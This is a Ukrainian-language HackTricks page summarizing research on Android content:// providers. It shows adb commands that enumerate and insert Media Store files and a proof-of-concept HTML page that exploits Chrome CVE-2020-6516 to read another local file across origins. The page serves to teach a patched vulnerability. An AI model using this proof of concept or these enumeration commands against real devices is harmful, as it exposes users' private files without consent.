content:// protocol

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Це краткий огляд публікації https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Виведення файлів у сховищі медіа

Для виведення файлів, керованих сховищем медіа, можна використати наступну команду:

$ content query --uri content://media/external/file

Для більш зручного виведення, відображення лише ідентифікатора та шляху кожного індексованого файлу:

$ content query --uri content://media/external/file --projection _id,_data

Постачальники контенту ізольовані у власному приватному просторі імен. Доступ до постачальника потребує конкретного content:// URI. Інформацію про шляхи доступу до постачальника можна отримати з маніфестів додатків або вихідного коду фреймворку Android.

Доступ Chrome до постачальників контенту

Chrome на Android може отримати доступ до постачальників контенту через схему content://, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Для ілюстрації цього можна вставити файл у Media Store, а потім отримати до нього доступ через Chrome:

Вставте власний запис у Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Виявіть ідентифікатор нової вставленої файлу:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Файл можна переглянути в Chrome, використовуючи URL, побудований за ідентифікатором файлу.

Наприклад, щоб переглянути список файлів, пов'язаних з певним додатком:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Пройдення політики однакового походження

Політика однакового походження (SOP) - це протокол безпеки в браузерах, який обмежує взаємодію веб-сторінок з ресурсами з різних джерел, якщо це не було явно дозволено політикою Cross-Origin-Resource-Sharing (CORS). Ця політика спрямована на запобігання витоку інформації та підробленню запитів з інших сайтів. Chrome вважає content:// як локальну схему, що підтверджує більш жорсткі правила SOP, де кожен URL локальної схеми розглядається як окреме джерело.

Однак CVE-2020-6516 була уразливість у Chrome, яка дозволяла обхід правил SOP для ресурсів, завантажених через URL content://. Фактично, код JavaScript з URL content:// міг отримати доступ до інших ресурсів, завантажених через URL content://, що було значним питанням з точки зору безпеки, особливо на пристроях Android з версіями попередніми Android 10, де обмежене сховище не було реалізовано.

Нижче наведено доказовий приклад цієї уразливості, де HTML-документ після завантаження під /sdcard та додавання до медіа-сховища використовує XMLHttpRequest у своєму JavaScript для доступу та відображення вмісту іншого файлу в медіа-сховищі, обходячи правила SOP.

Доказовий приклад HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated